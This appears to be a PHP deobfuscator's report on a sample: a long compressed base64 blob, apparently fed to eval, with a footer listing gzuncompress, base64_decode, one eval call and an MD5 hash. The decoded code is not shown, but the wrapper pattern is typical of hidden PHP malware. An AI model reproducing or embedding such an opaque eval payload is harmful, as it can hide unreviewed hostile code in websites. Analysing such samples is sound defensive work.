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")))
Function Calls
gzuncompress | 1 |
base64_decode | 1 |
Stats
MD5 | 508d89f6715b643fcf14c667081eb4ad |
Eval Count | 1 |
Decode Time | 159 ms |